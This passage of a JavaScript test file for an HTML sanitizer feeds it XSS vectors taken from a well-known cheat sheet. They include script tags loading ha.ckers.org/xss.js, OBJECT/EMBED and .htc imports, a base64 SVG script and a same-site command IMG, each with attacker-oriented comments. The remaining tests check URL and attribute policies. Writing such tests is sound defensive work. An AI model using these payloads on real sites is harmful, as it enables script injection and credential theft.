  544. // IMG STYLE with expression (this is really a hybrid of the above XSS
  545. // vectors, but it really does show how hard STYLE tags can be to parse apart,
  546. // like above this can send IE into a loop):
  547. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  548. safeHtml = isIE9() ? 'undefined' : 'exp/*<a></a>';
  549. xssHtml = 'exp/*<A STYLE="no\\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*' +
  550. '/*/pression(alert(window))">';
  551. assertSanitizedHtml(xssHtml, safeHtml);
  552. // STYLE tag (Older versions of Netscape only):
  553. // Browser support: [NS4]
  554. safeHtml = '';
  555. xssHtml = '<STYLE TYPE="text/javascript">xss=true;</STYLE>';
  556. assertSanitizedHtml(xssHtml, safeHtml);
  557. // STYLE tag using background-image:
  558. // Browser support: [IE6.0|NS8.1-IE]
  559. safeHtml = isIE9() ? 'undefined' : '<a></a>';
  560. xssHtml = '<STYLE>.XSS{background-image:url("javascript:alert("XSS")");}' +
  561. '</STYLE><A CLASS=XSS></A>';
  562. assertSanitizedHtml(xssHtml, safeHtml);
  563. // BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to
  564. // comment out the next characters so you won't get a JavaScript error and
  565. // your XSS tag will render. Also, this relies on the fact that the website
  566. // uses dynamically placed images like "images/image.jpg" rather than full
  567. // paths. If the path includes a leading forward slash like
  568. // "/images/image.jpg" you can remove one slash from this vector (as long as
  569. // there are two to begin the comment this will work):
  570. // Browser support: [IE6.0|NS8.1-IE]
  571. safeHtml = '';
  572. xssHtml = '<BASE HREF="javascript:xss=true;//">';
  573. assertSanitizedHtml(xssHtml, safeHtml);
  574. // OBJECT tag (if they allow objects, you can also inject virus payloads to
  575. // infect the users, etc. and same with the APPLET tag). The linked file is
  576. // actually an HTML file that can contain your XSS:
  577. // Browser support: [O9.02]
  578. safeHtml = '';
  579. xssHtml = '<OBJECT TYPE="text/x-scriptlet" ' +
  580. 'DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>';
  581. assertSanitizedHtml(xssHtml, safeHtml);
  582. // Using an EMBED tag you can embed a Flash movie that contains XSS. Click
  583. // here for a demo. If you add the attributes allowScriptAccess="never" and
  584. // allownetworking="internal" it can mitigate this risk (thank you to Jonathan
  585. // Vanasco for the info).:
  586. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  587. safeHtml = '';
  588. xssHtml = '<EMBED SRC="http://ha.ckers.org/xss.swf" ' +
  589. 'AllowScriptAccess="always"></EMBED>';
  590. assertSanitizedHtml(xssHtml, safeHtml);
  591. // You can EMBED SVG which can contain your XSS vector. This example only
  592. // works in Firefox, but it's better than the above vector in Firefox because
  593. // it does not require the user to have Flash turned on or installed. Thanks
  594. // to nEUrOO for this one.
  595. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  596. safeHtml = '';
  597. xssHtml = '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH' +
  598. ' A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv Mj' +
  599. 'AwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB' +
  600. '2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBp' +
  601. 'ZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpO' +
  602. 'zwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" ' +
  603. 'AllowScriptAccess="always"></EMBED>';
  604. assertSanitizedHtml(xssHtml, safeHtml);
  605. // XML namespace. The htc file must be located on the same server as your XSS
  606. // vector:
  607. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  608. safeHtml = '<span>XSS</span>';
  609. xssHtml = '<HTML xmlns:xss>' +
  610. '<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">' +
  611. '<xss:xss>XSS</xss:xss>' +
  612. '</HTML>';
  613. assertSanitizedHtml(xssHtml, safeHtml);
  614. // XML data island with CDATA obfuscation (this XSS attack works only in IE
  615. // and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult
  616. // while auditing Yahoo:
  617. // Browser support: [IE6.0|NS8.1-IE]
  618. safeHtml = isIE9() ? '<span><span></span></span>' :
  619. '<span><span><span>]]&gt;</span></span></span>' +
  620. '<span></span>';
  621. xssHtml = '<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]>' +
  622. '<![CDATA[cript:xss=true;">]]>' +
  623. '</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>';
  624. assertSanitizedHtml(xssHtml, safeHtml);
  625. // HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This
  626. // only works in Internet Explorer and Netscape 8.1 in IE rendering engine
  627. // mode and remember that you need to be between HTML and BODY tags for this
  628. // to work:
  629. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  630. safeHtml = '<span></span>';
  631. xssHtml = '<HTML><BODY>' +
  632. '<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' +
  633. '<?import namespace="t" implementation="#default#time2">' +
  634. '<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;' +
  635. 'alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">' +
  636. '</BODY></HTML>';
  637. assertSanitizedHtml(xssHtml, safeHtml);
  638. // IMG Embedded commands - this works when the webpage where this is injected
  639. // (like a web-board) is behind password protection and that password
  640. // protection works with other commands on the same domain. This can be used
  641. // to delete users, add users (if the user who visits the page is an
  642. // administrator), send credentials elsewhere, etc.... This is one of the
  643. // lesser used but more useful XSS vectors:
  644. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  645. safeHtml = '<img />';
  646. xssHtml = '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?' +
  647. 'somevariables=maliciouscode">';
  648. assertSanitizedHtml(xssHtml, safeHtml);
  649. // This was tested in IE, your mileage may vary. For performing XSS on sites
  650. // that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex
  651. // filter "/<script[^>]+src/i":
  652. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  653. safeHtml = '';
  654. xssHtml = '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
  655. assertSanitizedHtml(xssHtml, safeHtml);
  656. safeHtml = '';
  657. xssHtml = '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
  658. assertSanitizedHtml(xssHtml, safeHtml);
  659. // This XSS still worries me, as it would be nearly impossible to stop this
  660. // without blocking all active content:
  661. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  662. safeHtml = 'PT SRC="http://ha.ckers.org/xss.js"&gt;';
  663. xssHtml = '<SCRIPT>document.write("<SCRI");<\/SCRIPT>PT ' +
  664. 'SRC="http://ha.ckers.org/xss.js"><\/SCRIPT>';
  665. assertSanitizedHtml(xssHtml, safeHtml);
  666. // US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding
  667. // with 7 bits instead of 8. This XSS may bypass many content filters but
  668. // only works if the host transmits in US-ASCII encoding, or if you set the
  669. // encoding yourself. This is more useful against web application firewall
  670. // cross site scripting evasion than it is server side filter evasion. Apache
  671. // Tomcat is the only known server that transmits in US-ASCII encoding. I
  672. // highly suggest anyone interested in alternate encoding issues look at my
  673. // charsets issues page:
  674. // Browser support: [IE7.0|IE6.0|NS8.1-IE]
  675. // NOTE(danesh): We'd sanitize this if we received the (mis-)appropriately
  676. // encoded version of this.
  677. // safeHtml = ' script alert( XSS ) /script ';
  678. // xssHtml = '¼script¾alert(¢XSS¢)¼/script¾';
  679. // assertSanitizedHtml(xssHtml, safeHtml);
  680. // Escaping JavaScript escapes. When the application is written to output some
  681. // user information inside of a JavaScript like the following:
  682. // <SCRIPT>var a="$ENV{QUERY_STRING}";<\/SCRIPT> and you want to inject your
  683. // own JavaScript into it but the server side application escapes certain
  684. // quotes you can circumvent that by escaping their escape character. When
  685. // this is gets injected it will read
  686. // <SCRIPT>var a="\\";alert('XSS');//";<\/SCRIPT> which ends up un-escaping
  687. // the double quote and causing the Cross Site Scripting vector to fire.
  688. // The XSS locator uses this method.:
  689. // Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
  690. // NOTE(danesh): We expect this to fail. More of a JS sanitizer check or a
  691. // server-side template vulnerability test.
  692. // safeHtml = '';
  693. // xssHtml = '\";alert(window);//';
  694. // assertSanitizedHtml(xssHtml, safeHtml);
  695. }
  696. function testDataAttributes() {
  697. var html = '<div data-xyz="test">Testing</div>';
  698. var safeHtml = '<div>Testing</div>';
  699. assertSanitizedHtml(html, safeHtml);
  700. html = '<div data-goomoji="test" data-other="xyz">Testing</div>';
  701. var expectedHtml = '<div data-goomoji="test">Testing</div>';
  702. assertSanitizedHtml(
  703. html, expectedHtml, new goog.html.sanitizer.HtmlSanitizer.Builder()
  704. .allowCssStyles()
  705. .allowDataAttributes(['data-goomoji'])
  706. .build());
  707. }
  708. function testDisallowedDataWhitelistingAttributes() {
  709. assertThrows(function() {
  710. new goog.html.sanitizer.HtmlSanitizer.Builder()
  711. .allowDataAttributes(['datai'])
  712. .build();
  713. });
  714. // Disallow internal attribute used by html sanitizer
  715. assertThrows(function() {
  716. new goog.html.sanitizer.HtmlSanitizer.Builder()
  717. .allowDataAttributes(['data-i', 'data-sanitizer-safe'])
  718. .build();
  719. });
  720. }
  721. function testFormBody() {
  722. var safeHtml = '<form>stuff</form>';
  723. var formHtml = '<form name="body">stuff</form>';
  724. assertSanitizedHtml(
  725. formHtml, safeHtml,
  726. new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
  727. }
  728. function testStyleTag() {
  729. var safeHtml = '';
  730. var xssHtml = '<STYLE>P.special {color : green;border: solid red;}</STYLE>';
  731. assertSanitizedHtml(xssHtml, safeHtml);
  732. }
  733. function testOnlyAllowTags() {
  734. var result = '<div><span></span>' +
  735. '<a href="http://www.google.com">hi</a>' +
  736. '<br>Test.<span></span><div align="right">Test</div></div>';
  737. // If we were mimicing goog.labs.html.sanitizer, our output would be
  738. // '<div><a>hi</a><br>Test.<div>Test</div></div>';
  739. assertSanitizedHtml(
  740. '<div><img id="bar" name=foo class="c d" ' +
  741. 'src="http://wherever.com">' +
  742. '<a href=" http://www.google.com">hi</a>' +
  743. '<br>Test.<hr><div align="right">Test</div></div>',
  744. result, new goog.html.sanitizer.HtmlSanitizer.Builder()
  745. .onlyAllowTags(['bR', 'a', 'DIV'])
  746. .build());
  747. }
  748. function testDisallowNonWhitelistedTags() {
  749. assertThrows('Should error on elements not whitelisted', function() {
  750. new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowTags(['x']);
  751. });
  752. }
  753. function testDefaultPoliciesAreApplied() {
  754. var result = '<img /><a href="http://www.google.com">hi</a>' +
  755. '<a href="ftp://whatever.com">another</a>';
  756. assertSanitizedHtml(
  757. '<img id="bar" name=foo class="c d" ' +
  758. 'src="http://wherever.com">' +
  759. '<a href=" http://www.google.com">hi</a>' +
  760. '<a href=ftp://whatever.com>another</a>',
  761. result);
  762. }
  763. function testCustomNamePolicyIsApplied() {
  764. var result = '<img name="myOwnPrefix-foo" />' +
  765. '<a href="http://www.google.com">hi</a>' +
  766. '<a href="ftp://whatever.com">another</a>';
  767. assertSanitizedHtml(
  768. '<img id="bar" name=foo class="c d" ' +
  769. 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
  770. '<a href=ftp://whatever.com>another</a>',
  771. result, new goog.html.sanitizer.HtmlSanitizer.Builder()
  772. .withCustomNamePolicy(function(name) {
  773. return 'myOwnPrefix-' + name;
  774. })
  775. .build());
  776. }
  777. function testCustomTokenPolicyIsApplied() {
  778. var result = '<img id="myOwnPrefix-bar" ' +
  779. 'class="myOwnPrefix-c myOwnPrefix-d" />' +
  780. '<a href="http://www.google.com">hi</a>' +
  781. '<a href="ftp://whatever.com">another</a>';
  782. assertSanitizedHtml(
  783. '<img id="bar" name=foo class="c d" ' +
  784. 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
  785. '<a href=ftp://whatever.com>another</a>',
  786. result, new goog.html.sanitizer.HtmlSanitizer.Builder()
  787. .withCustomTokenPolicy(function(name) {
  788. return 'myOwnPrefix-' + name;
  789. })
  790. .build());
  791. }
  792. function testMultipleCustomPoliciesAreApplied() {
  793. var result = '<img id="plarpalarp-bar" name="larlarlar-foo" ' +
  794. 'class="plarpalarp-c plarpalarp-d" />' +
  795. '<a href="http://www.google.com">hi</a>' +
  796. '<a href="ftp://whatever.com">another</a>';
  797. assertSanitizedHtml(
  798. '<img id="bar" name=foo class="c d" ' +
  799. 'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
  800. '<a href=ftp://whatever.com>another</a>',
  801. result,
  802. new goog.html.sanitizer.HtmlSanitizer.Builder()
  803. .withCustomTokenPolicy(function(token) {
  804. return 'plarpalarp-' + token;
  805. })
  806. .withCustomNamePolicy(function(name) { return 'larlarlar-' + name; })
  807. .build());
  808. }
  809. function testNonTrivialCustomPolicy() {
  810. var result = '<img /><a href="http://www.google.com" name="Alacrity">hi</a>' +
  811. '<a href="ftp://whatever.com">another</a>';
  812. assertSanitizedHtml(
  813. '<img id="bar" name=foo class="c d" src="http://wherever.com">' +
  814. '<a href=" http://www.google.com" name=Alacrity>hi</a>' +
  815. '<a href=ftp://whatever.com>another</a>',
  816. result,
  817. new goog.html.sanitizer.HtmlSanitizer.Builder()
  818. .withCustomNamePolicy(function testNamesMustBeginWithTheLetterA(
  819. name) { return name.charAt(0) != 'A' ? null : name; })
  820. .build());
  821. }
  822. function testNetworkRequestUrlsAllowed() {
  823. var result = '<img src="http://wherever.com" />' +
  824. '<img src="https://secure.wherever.com" />' +
  825. '<img alt="test" src="//wherever.com" />' +
  826. '<a href="http://www.google.com">hi</a>' +
  827. '<a href="ftp://whatever.com">another</a>';
  828. assertSanitizedHtml(
  829. '<img id="bar" name=foo class="c d" src="http://wherever.com">' +
  830. '<img src="https://secure.wherever.com">' +
  831. '<img alt="test" src="//wherever.com">' +
  832. '<a href=" http://www.google.com">hi</a>' +
  833. '<a href=ftp://whatever.com>another</a>',
  834. result, new goog.html.sanitizer.HtmlSanitizer.Builder()
  835. .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
  836. .build());
  837. }
  838. function testCustomNRUrlPolicyMustNotContainParameters() {
  839. var result = '<img src="http://wherever.com" /><img />';
  840. assertSanitizedHtml(
  841. '<img id="bar" class="c d" src="http://wherever.com">' +
  842. '<img src="https://www.bank.com/withdraw?amount=onebeeeelion">',
  843. result, new goog.html.sanitizer.HtmlSanitizer.Builder()
  844. .withCustomNetworkRequestUrlPolicy(function(url) {
  845. return url.match(/\?/) ? null :
  846. goog.html.testing.newSafeUrlForTest(url);
  847. })
  848. .build());
  849. }
  850. function testPolicyHints() {
  851. var sanitizer =
  852. new goog.html.sanitizer.HtmlSanitizer.Builder()
  853. .allowFormTag()
  854. .withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
  855. if ((policyHints.tagName == 'img' &&
  856. policyHints.attributeName == 'src') ||
  857. (policyHints.tagName == 'input' &&
  858. policyHints.attributeName == 'src')) {
  859. return goog.html.testing.newSafeUrlForTest(
  860. 'https://imageproxy/?' + url);
  861. } else {
  862. return null;
  863. }
  864. })
  865. .withCustomUrlPolicy(function(url, policyHints) {
  866. if (policyHints.tagName == 'a' &&
  867. policyHints.attributeName == 'href') {
  868. return goog.html.testing.newSafeUrlForTest(
  869. 'https://linkproxy/?' + url);
  870. }
  871. return goog.html.SafeUrl.sanitize(url);
  872. })
  873. .build();
  874. // TODO(user): update this test to include a stylesheet once they're
  875. // supported (in order to view both branches of the NRUrlPolicy).
  876. var result = '<img src="https://imageproxy/?http://image" /> ' +
  877. '<input type="image" src="https://imageproxy/?http://another" />' +
  878. '<a href="https://linkproxy/?http://link">a link</a>' +
  879. '<form action="http://formaction"></form>';
  880. assertSanitizedHtml(
  881. '<img src="http://image"> <input type="image" ' +
  882. 'src="http://another"><a href="http://link">a link</a>' +
  883. '<form action="http://formaction"></form>',
  884. result, sanitizer);
  885. }
  886. function testNRUrlPolicyAffectsCssSanitization() {
  887. var sanitizer =
  888. new goog.html.sanitizer.HtmlSanitizer.Builder()
  889. .allowCssStyles()
  890. .withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
  891. // Network request URLs may only be over https.
  892. if (!/^https:\/\//i.test(url)) {
  893. return null;
  894. }
  895. // CSS background URLs may only come from google.com.
  896. if (policyHints.cssProperty === 'background-image') {
  897. if (!/^https:\/\/www\.google\.com\//i.test(url)) {
  898. return null;
  899. }
  900. }
  901. return goog.html.SafeUrl.sanitize(url);
  902. })
  903. .build();
  904. var sanitizedHtml;
  905. try {
  906. sanitizedHtml = sanitizer.sanitize(
  907. '<div style="background: url(\'https://www.google.com/i.png\')"></div>');
  908. if (isIE9()) {
  909. assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
  910. return;
  911. }
  912. assertRegExp(
  913. /background(?:-image)?:.*url\(.?https:\/\/www.google.com\/i.png.?\)/,
  914. getStyle(sanitizedHtml));
  915. } catch (err) {
  916. if (!isIE8()) {
  917. throw err;
  918. }
  919. }
  920. try {
  921. sanitizedHtml = sanitizer.sanitize(
  922. '<div style="background: url(\'https://wherever/\')"></div>');
  923. assertNotContains(
  924. 'https://wherever/', goog.html.SafeHtml.unwrap(sanitizedHtml));
  925. } catch (err) {
  926. if (!isIE8()) {
  927. throw err;
  928. }
  929. }
  930. sanitizedHtml = '<img src="https://www.google.com/i.png">';
  931. assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
  932. sanitizedHtml = '<img src="https://wherever/">';
  933. assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
  934. }
  935. function testAllowOnlyHttpAndHttpsAndFtpForNRUP() {
  936. var input = '<img src="http://whatever">' +
  937. '<img src="https://whatever">' +
  938. '<img src="ftp://nope">' +
  939. '<img src="garbage:nope">' +
  940. '<img src="data:yep">';
  941. var expected = '<img src="http://whatever" />' +
  942. '<img src="https://whatever" />' +
  943. '<img src="ftp://nope">' +
  944. '<img />' +
  945. '<img />';
  946. assertSanitizedHtml(
  947. input, expected,
  948. new goog.html.sanitizer.HtmlSanitizer.Builder()
  949. .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
  950. .build());
  951. }
  952. function testUriSchemesOnNonNetworkRequestUrls() {
  953. var input = '<a href="ftp://yep">something</a>' +
  954. '<a href="gopher://yep">something</a>' +
  955. '<a href="gopher:nope">something</a>' +
  956. '<a href="http://yep">something</a>' +
  957. '<a href="https://yep">something</a>' +
  958. '<a href="garbage://nope">something</a>' +
  959. '<a href="relative/yup">something</a>' +
  960. '<a href="nope">something</a>' +
  961. '<a>lol</a>';
  962. var expected = '<a href="ftp://yep">something</a>' +
  963. '<a>something</a>' +
  964. '<a>something</a>' +
  965. '<a href="http://yep">something</a>' +
  966. '<a href="https://yep">something</a>' +
  967. '<a>something</a>' +
  968. '<a href="relative/yup">something</a>' +
  969. '<a href="nope">something</a>' +
  970. '<a>lol</a>';
  971. assertSanitizedHtml(
  972. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  973. .withCustomUrlPolicy(goog.html.SafeUrl.sanitize)
  974. .build());
  975. }
  976. function testOverridingGetOrSetAttribute() {
  977. var input = '<form>' +
  978. '<input name=setAttribute />' +
  979. '<input name=getAttribute />' +
  980. '</form>';
  981. var expected = '<form><input><input></form>';
  982. assertSanitizedHtml(
  983. input, expected,
  984. new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
  985. }
  986. function testOverridingBookkeepingAttribute() {
  987. var input = '<div data-sanitizer-foo="1" alt="b">Hello</div>';
  988. var expected = '<div alt="b">Hello</div>';
  989. assertSanitizedHtml(
  990. input, expected,
  991. new goog.html.sanitizer.HtmlSanitizer.Builder()
  992. .withCustomTokenPolicy(function(token) { return token; })
  993. .build());
  994. }
  995. function testTemplateRemoved() {
  996. var input = '<div><template><h1>boo</h1></template></div>';
  997. var expected = '<div></div>';
  998. assertSanitizedHtml(input, expected);
  999. }
  1000. /**
  1001. * Shorthand for sanitized tags
  1002. * @param {string} tag
  1003. * @return {string}
  1004. */
  1005. function otag(tag) {
  1006. return 'data-sanitizer-original-tag="' + tag + '"';
  1007. }
  1008. function testOriginalTag() {
  1009. var input = '<p>Line1<magic></magic></p>';
  1010. var expected = '<p>Line1<span ' + otag('magic') + '></span></p>';
  1011. assertSanitizedHtml(
  1012. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1013. .addOriginalTagNames()
  1014. .build());
  1015. }
  1016. function testOriginalTagOverwrite() {
  1017. var input = '<div id="qqq">hello' +
  1018. '<a:b id="hi" class="hnn a" boo="3">qqq</a:b></div>';
  1019. var expected = '<div>hello<span ' + otag('a:b') + ' id="HI" class="hnn a">' +
  1020. 'qqq</span></div>';
  1021. assertSanitizedHtml(
  1022. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1023. .addOriginalTagNames()
  1024. .withCustomTokenPolicy(function(token, hints) {
  1025. var an = hints.attributeName;
  1026. if (an === 'id' && token === 'hi') {
  1027. return 'HI';
  1028. } else if (an === 'class') {
  1029. return token;
  1030. }
  1031. return null;
  1032. })
  1033. .build());
  1034. }
  1035. function testOriginalTagClobber() {
  1036. var input = '<a:b data-sanitizer-original-tag="xss"></a:b>';
  1037. var expected = '<span ' + otag('a:b') + '></span>';
  1038. assertSanitizedHtml(
  1039. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1040. .addOriginalTagNames()
  1041. .build());
  1042. }
  1043. // the tests below investigate how <span> behaves when it is unknowingly put
  1044. // as child or parent of other elements due to sanitization. <div> had even more
  1045. // problems (e.g. cannot be a child of <p>)
  1046. /**
  1047. * Sanitize content, let the browser apply its own HTML tree correction by
  1048. * attaching the content to the document, and then assert it matches the
  1049. * expected value.
  1050. * @param {string} expected
  1051. * @param {string} input
  1052. */
  1053. function assertAfterInsertionEquals(expected, input) {
  1054. var sanitizer =
  1055. new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build();
  1056. input = goog.html.SafeHtml.unwrap(sanitizer.sanitize(input));
  1057. var div = document.createElement('div');
  1058. document.body.appendChild(div);
  1059. div.innerHTML = input;
  1060. goog.testing.dom.assertHtmlMatches(
  1061. expected, div.innerHTML, true /* opt_strictAttributes */);
  1062. div.parentNode.removeChild(div);
  1063. }
  1064. function testSpanNotCorrectedByBrowsersOuter() {
  1065. if (isIE8() || isIE9()) {
  1066. return;
  1067. }
  1068. goog.array.forEach(
  1069. goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
  1070. if (goog.array.contains(
  1071. [
  1072. 'BR', 'IMG', 'AREA', 'COL', 'COLGROUP', 'HR', 'INPUT',
  1073. 'SOURCE', 'WBR'
  1074. ],
  1075. tag)) {
  1076. return; // empty elements, ok
  1077. }
  1078. if (goog.array.contains(['CAPTION'], tag)) {
  1079. return; // potential problems
  1080. }
  1081. if (goog.array.contains(['NOSCRIPT'], tag)) {
  1082. return; // weird/not important
  1083. }
  1084. if (goog.array.contains(
  1085. [
  1086. 'SELECT', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA', 'TFOOT',
  1087. 'THEAD', 'TH'
  1088. ],
  1089. tag)) {
  1090. return; // consistent in whitelist, ok
  1091. }
  1092. var input = '<' + tag.toLowerCase() + '>a<span></span>a</' +
  1093. tag.toLowerCase() + '>';
  1094. assertAfterInsertionEquals(input, input);
  1095. });
  1096. }
  1097. function testSpanNotCorrectedByBrowsersInner() {
  1098. if (isIE8() || isIE9()) {
  1099. return;
  1100. }
  1101. goog.array.forEach(
  1102. goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
  1103. if (goog.array.contains(
  1104. [
  1105. 'CAPTION', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA', 'TFOOT',
  1106. 'THEAD', 'TH'
  1107. ],
  1108. tag)) {
  1109. return; // consistent in whitelist, ok
  1110. }
  1111. if (goog.array.contains(['COL', 'COLGROUP'], tag)) {
  1112. return; // potential problems
  1113. }
  1114. // TODO(pelizzi): Skip testing for FORM tags on Chrome until b/32550695
  1115. // is fixed.
  1116. if (tag == 'FORM' && goog.userAgent.WEBKIT) {
  1117. return;
  1118. }
  1119. var input;
  1120. if (goog.array.contains(
  1121. [
  1122. 'BR', 'IMG', 'AREA', 'COL', 'COLGROUP', 'HR', 'INPUT',
  1123. 'SOURCE', 'WBR' // empty elements, ok
  1124. ],
  1125. tag)) {
  1126. input = '<span>a<' + tag.toLowerCase() + '>a</span>';
  1127. } else {
  1128. input = '<span>a<' + tag.toLowerCase() + '>a</' + tag.toLowerCase() +
  1129. '>a</span>';
  1130. }
  1131. assertAfterInsertionEquals(input, input);
  1132. });
  1133. }
  1134. function testTemplateTagToSpan() {
  1135. var input = '<template alt="yes"><p>q</p></template>';
  1136. var expected = '<span alt="yes"><p>q</p></span>';
  1137. // TODO(pelizzi): use unblockTag once it's available
  1138. delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
  1139. assertSanitizedHtml(input, expected);
  1140. goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
  1141. }
  1142. var just = goog.string.Const.from('test');
  1143. function testTemplateTagWhitelisted() {
  1144. var input = '<div><template alt="yes"><p>q</p></template></div>';
  1145. // TODO(pelizzi): use unblockTag once it's available
  1146. delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
  1147. var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
  1148. goog.html.sanitizer.unsafe.alsoAllowTags(just, builder, ['TEMPLATE']);
  1149. assertSanitizedHtml(input, input, builder.build());
  1150. goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
  1151. }
  1152. function testTemplateTagFake() {
  1153. var input = '<template data-sanitizer-original-tag="template">a</template>';
  1154. var expected = '';
  1155. assertSanitizedHtml(input, expected);
  1156. }
  1157. function testTemplateNested() {
  1158. var input = '<template><p>a</p><zzz alt="a"/><script>z</script><template>' +
  1159. '<p>a</p><zzz alt="a"/><script>z</script></template></template>';
  1160. var expected = '<template><p>a</p><span alt="a"></span><template>' +
  1161. '<p>a</p><span alt="a"></span></template></template>';
  1162. // TODO(pelizzi): use unblockTag once it's available
  1163. delete goog.html.sanitizer.TagBlacklist['TEMPLATE'];
  1164. var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
  1165. goog.html.sanitizer.unsafe.alsoAllowTags(just, builder, ['TEMPLATE']);
  1166. assertSanitizedHtml(input, expected, builder.build());
  1167. goog.html.sanitizer.TagBlacklist['TEMPLATE'] = true;
  1168. }
  1169. function testOnlyAllowEmptyAttrList() {
  1170. var input = '<p alt="nope" aria-checked="true" zzz="1">b</p>' +
  1171. '<a target="_blank">c</a>';
  1172. var expected = '<p>b</p><a>c</a>';
  1173. assertSanitizedHtml(
  1174. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1175. .onlyAllowAttributes([])
  1176. .build());
  1177. }
  1178. function testOnlyAllowUnWhitelistedAttr() {
  1179. assertThrows(function() {
  1180. new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes(
  1181. ['alt', 'zzz']);
  1182. });
  1183. }
  1184. function testOnlyAllowAttributeWildCard() {
  1185. var input =
  1186. '<div alt="yes" aria-checked="true"><img alt="yep" avbb="no" /></div>';
  1187. var expected = '<div alt="yes"><img alt="yep" /></div>';
  1188. assertSanitizedHtml(
  1189. input, expected,
  1190. new goog.html.sanitizer.HtmlSanitizer.Builder()
  1191. .onlyAllowAttributes([{tagName: '*', attributeName: 'alt'}])
  1192. .build());
  1193. }
  1194. function testOnlyAllowAttributeLabelForA() {
  1195. var input = '<a label="3" aria-checked="4">fff</a><img label="3" />';
  1196. var expected = '<a label="3">fff</a><img />';
  1197. assertSanitizedHtml(
  1198. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1199. .onlyAllowAttributes([{
  1200. tagName: '*',
  1201. attributeName: 'label',
  1202. policy: function(value, hints) {
  1203. if (hints.tagName !== 'a') {
  1204. return null;
  1205. }
  1206. return value;
  1207. }
  1208. }])
  1209. .build());
  1210. }
  1211. function testOnlyAllowAttributePolicy() {
  1212. var input = '<img alt="yes" /><img alt="no" />';
  1213. var expected = '<img alt="yes" /><img />';
  1214. assertSanitizedHtml(
  1215. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1216. .onlyAllowAttributes([{
  1217. tagName: '*',
  1218. attributeName: 'alt',
  1219. policy: function(value, hints) {
  1220. assertEquals(hints.attributeName, 'alt');
  1221. return value === 'yes' ? value : null;
  1222. }
  1223. }])
  1224. .build());
  1225. }
  1226. function testOnlyAllowAttributePolicyPipe1() {
  1227. var input = '<a target="hello">b</a>';
  1228. var expected = '<a target="_blank">b</a>';
  1229. assertSanitizedHtml(
  1230. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1231. .onlyAllowAttributes([{
  1232. tagName: 'a',
  1233. attributeName: 'target',
  1234. policy: function(value, hints) {
  1235. assertEquals(hints.attributeName, 'target');
  1236. return '_blank';
  1237. }
  1238. }])
  1239. .build());
  1240. }
